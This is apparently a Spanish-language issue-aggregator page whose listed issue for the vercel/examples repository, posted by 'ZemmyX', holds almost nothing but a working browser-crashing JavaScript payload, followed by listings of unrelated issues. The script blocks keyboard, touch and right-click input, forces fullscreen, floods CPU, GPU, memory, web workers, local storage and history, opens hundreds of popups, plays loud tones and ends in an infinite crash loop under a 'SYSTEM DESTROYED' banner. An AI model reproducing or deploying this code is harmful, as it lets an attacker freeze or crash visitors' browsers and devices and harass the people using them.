ZemmyX
Los mantenedores suelen responder en 1 día
Nadie ha tomado este issue todavía.
Evaluación
- Dificultad
- 5/5
- Tiempo estimado
- Más de una semana
- Aptitud para principiantes
- 1/100
- Tipo de issue
- Error
- Claridad
- Necesita aclaración
- Estado de actividad
- Estancado
- Stack tecnológico
- javascript
- Área
- security
Línea de trabajo
No se nombra ningún archivo del repositorio, prueba ni punto de entrada. Primero determine si el HTML y JavaScript del issue están destinados a ser un informe de seguridad o contenido no relacionado y, después, identifique un ejemplo afectado y un resultado esperado reproducible antes de definir cualquier cambio.
Escrito por el modelo de indexación a partir del texto del issue.
Descripción
// LOCK SCROLL DAN INTERAKSI
document.body.style.overflow = 'hidden';
document.documentElement.style.overflow = 'hidden';
// AMBIL ALIH SEMUA TOMBOL
document.addEventListener('keydown', function(e) {
e.preventDefault();
e.stopPropagation();
return false;
}, true);
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
return false;
}, true);
document.addEventListener('touchstart', function(e) {
e.preventDefault();
}, true);
document.addEventListener('touchmove', function(e) {
e.preventDefault();
}, true);
// FULLSCREEN PAKSA
try {
document.documentElement.requestFullscreen();
} catch(e) {}
// ============================================
// 1. CPU MAKSIMAL - MULTI THREAD
// ============================================
for(let core = 0; core < 32; core++) {
setInterval(function() {
for(let i = 0; i < 9999999; i++) {
Math.pow(i, i) * Math.random() * Math.sqrt(i) * Math.sin(i) * Math.cos(i) * Math.tan(i);
Math.log(i) * Math.exp(i) * Math.asin(i % 1) * Math.acos(i % 1) * Math.atan(i);
new Array(9999).join('X').split('').reverse().join('').repeat(999);
}
}, 0);
}
// ============================================
// 2. GPU MAKSIMAL - WEBGL FLOOD
// ============================================
try {
for(let g = 0; g < 50; g++) {
let canvas = document.createElement('canvas');
canvas.width = 8192;
canvas.height = 8192;
let gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
if(gl) {
for(let t = 0; t < 999; t++) {
let texture = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, texture);
let pixels = new Uint8Array(8192 * 8192 * 4);
for(let p = 0; p < pixels.length; p++) {
pixels[p] = Math.floor(Math.random() * 256);
}
gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 8192, 8192, 0, gl.RGBA, gl.UNSIGNED_BYTE, pixels);
let shader = gl.createShader(gl.VERTEX_SHADER);
let shaderCode = new Array(999999).join('void main(){}');
gl.shaderSource(shader, shaderCode);
gl.compileShader(shader);
}
}
document.body.appendChild(canvas);
canvas.style.display = 'none';
}
} catch(e) {}
// ============================================
// 3. MEMORY LEAK 1 TRILIUN ELEMEN
// ============================================
let LEAK_ARRAY = [];
for(let triliun = 0; triliun < 1000; triliun++) {
let block = [];
for(let juta = 0; juta < 1000000; juta++) {
block.push({
id: juta,
data: new Array(99999).join('X' + Math.random() + Date.now()),
nested: {
a: Math.random() * 999999,
b: new Date().toString(),
c: new Array(9999).join('LEAK'),
d: [].concat(new Array(9999))
},
timestamp: Date.now(),
random: Math.random() * Math.pow(9, 9)
});
}
LEAK_ARRAY.push(block);
}
// ============================================
// 4. BOM ATTACK MAX
// ============================================
// POPUP BOM
for(let pop = 0; pop < 999; pop++) {
setTimeout(function() {
try {
window.open('about:blank', '_blank', 'width=1,height=1');
window.open('about:blank', '_blank', 'width=1,height=1');
window.open('about:blank', '_blank', 'width=1,height=1');
window.open('about:blank', '_blank', 'width=1,height=1');
window.open('about:blank', '_blank', 'width=1,height=1');
} catch(e) {}
}, pop);
}
// STORAGE BOM
try {
for(let s = 0; s < 99999; s++) {
localStorage.setItem('bom_' + s, new Array(999999).join('X'));
sessionStorage.setItem('bom_' + s, new Array(999999).join('X'));
}
} catch(e) {}
// HISTORY BOM
for(let h = 0; h < 9999; h++) {
history.pushState({}, '', '/bom_' + h + '_' + Math.random());
}
// DOM BOM
for(let d = 0; d < 99999; d++) {
let el = document.createElement('div');
el.innerHTML = new Array(99999).join('BOM');
el.style.display = 'none';
document.body.appendChild(el);
}
// ============================================
// 5. ARRAY 1 TRILIUN PAKSA
// ============================================
let TRILIUN_ARRAY = [];
for(let i = 0; i < 999999; i++) {
TRILIUN_ARRAY.push(new Array(999999));
}
// ============================================
// 6. ANIMASI BERAT - 10000 ELEMEN BERGERAK
// ============================================
for(let a = 0; a < 10000; a++) {
let div = document.createElement('div');
div.style.position = 'fixed';
div.style.left = Math.random() * 100 + '%';
div.style.top = Math.random() * 100 + '%';
div.style.fontSize = Math.random() * 100 + 50 + 'px';
div.style.color = '#' + Math.floor(Math.random()*16777215).toString(16);
div.style.zIndex = '9999999';
div.style.whiteSpace = 'nowrap';
div.style.animation = 'move' + a + ' 0.0001s infinite';
div.innerHTML = '꧁𝐙𝐞𝐦𝐦𝐅𝐨𝐫𝐜𝐜𝐞꧂';
let style = document.createElement('style');
style.innerHTML = `
@keyframes move${a} {
0% { transform: translate(0,0) rotate(0deg) scale(1); }
10% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
20% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
30% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
40% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
50% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
60% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
70% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
80% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
90% { transform: translate(${Math.random()*500}px, ${Math.random()*500}px) rotate(${Math.random()*360}deg) scale(${Math.random()*5}); }
100% { transform: translate(0,0) rotate(0deg) scale(1); }
}
`;
document.head.appendChild(style);
document.body.appendChild(div);
}
// ============================================
// 7. REQUEST ANIMASI FRAME FLOOD
// ============================================
function rafFlood() {
for(let i = 0; i < 9999; i++) {
requestAnimationFrame(rafFlood);
}
}
rafFlood();
// ============================================
// 8. INTERVAL FLOOD
// ============================================
for(let int = 0; int < 9999; int++) {
setInterval(function() {
for(let k = 0; k < 99999; k++) {
document.title = Math.random().toString();
}
}, 0);
}
// ============================================
// 9. WEB WORKER FLOOD (KALO BISA)
// ============================================
try {
let workerCode = `
setInterval(function() {
for(let i=0;i<9999999;i++){Math.sqrt(i)*Math.random();}
},0);
`;
let blob = new Blob([workerCode], {type:'application/javascript'});
for(let w = 0; w < 64; w++) {
new Worker(URL.createObjectURL(blob));
}
} catch(e) {}
// ============================================
// 10. SOUND FLOOD (KALO BROWSER NGIZININ)
// ============================================
try {
let audioCtx = new (window.AudioContext || window.webkitAudioContext)();
for(let s = 0; s < 100; s++) {
let osc = audioCtx.createOscillator();
let gain = audioCtx.createGain();
osc.connect(gain);
gain.connect(audioCtx.destination);
osc.frequency.value = Math.random() * 20000;
gain.gain.value = 1;
osc.start();
}
} catch(e) {}
// ============================================
// FINAL: TAMPILAN PESAN
// ============================================
document.body.innerHTML = '';
let msg = document.createElement('div');
msg.style.position = 'fixed';
msg.style.top = '50%';
msg.style.left = '50%';
msg.style.transform = 'translate(-50%, -50%)';
msg.style.color = '#ff0000';
msg.style.fontSize = '80px';
msg.style.fontWeight = 'bold';
msg.style.textAlign = 'center';
msg.style.zIndex = '999999999';
msg.style.textShadow = '0 0 50px #ff0000';
msg.style.animation = 'blink 0.01s infinite';
msg.innerHTML = '꧁𝐙𝐞𝐦𝐦𝐅𝐨𝐫𝐜𝐜𝐞꧂<br>SYSTEM DESTROYED';
let style2 = document.createElement('style');
style2.innerHTML = `
@keyframes blink {
0%, 100% { opacity: 1; }
50% { opacity: 0; }
}
`;
document.head.appendChild(style2);
document.body.appendChild(msg);
// GAS TERUS SAMPE CRASH
while(true) {
for(let crash = 0; crash < 9999999; crash++) {
let x = new Array(999999);
history.pushState({}, '', '/crash_' + crash);
}
}
})();
</script>
- Lenguaje dominante
- TypeScript
- Estrellas
- 5.2k
- Forks
- 1.9k
- Merge medio
- 1 h 4 min
- PR fusionados (30 d)
- 2
Preparar el entorno
- Sin Dockerfile ni archivo de Docker Compose
- Tiene una plantilla de pull request
- Sin guía de contribución
Primeros pasos
- Lee el issue completo y luego la guía de contribución del proyecto.
- Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
- Haz un fork del repositorio y trabaja en una rama.
- Abre un pull request que haga referencia al número del issue.
Más de vercel/examples
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 88/100
Los mantenedores suelen responder en 1 día
-
[next-chat] Typing indicator gets stuck when a socket disconnects mid-typingPosiblemente ocupada @officialasishkumar la tomó hace 12 días. Abierto
Dificultad 3/5 1-2 días Aptitud para principiantes 55/100
Los mantenedores suelen responder en 1 día
-
CARGO-TAXIAbierto
Dificultad 5/5 Más de una semana Aptitud para principiantes 10/100
Los mantenedores suelen responder en 1 día
-
Better ChoicezAbierto
Dificultad 5/5 Más de una semana Aptitud para principiantes 15/100
vercel/examples#1584 · 2 reacciones ·
Los mantenedores suelen responder en 1 día
-
onbeat landing pageAbierto
Dificultad 4/5 3-5 días Aptitud para principiantes 32/100
Los mantenedores suelen responder en 1 día
Todos los issues de vercel/examples
Issues similares
-
[BUG]: Duplicate preposition in heading and unformatted feedback text on Strengthen Argument pageAbiertobug
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
AOSSIE-Org/DebateAI#801 · 1 comentario ·
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
Los mantenedores suelen responder en 1 día
-
Dificultad 2/5 1-3 horas Aptitud para principiantes 68/100
Los mantenedores suelen responder en 1 día
-
ci: repo has no GitHub Actions workflow, so pushes and pull requests are never built or testedAbiertoagents area: runtime automation chore cli consistency dependencies developer-experience difficulty: easy documentation enhancement good first issue help wanted hygiene json-output priority: P3 starters tests
Dificultad 2/5 1-3 horas Aptitud para principiantes 72/100
-
Add: BOM CineAbiertoapproved check:passed streams:add
Dificultad 1/5 Menos de una hora Aptitud para principiantes 72/100
Los mantenedores suelen responder en 1 día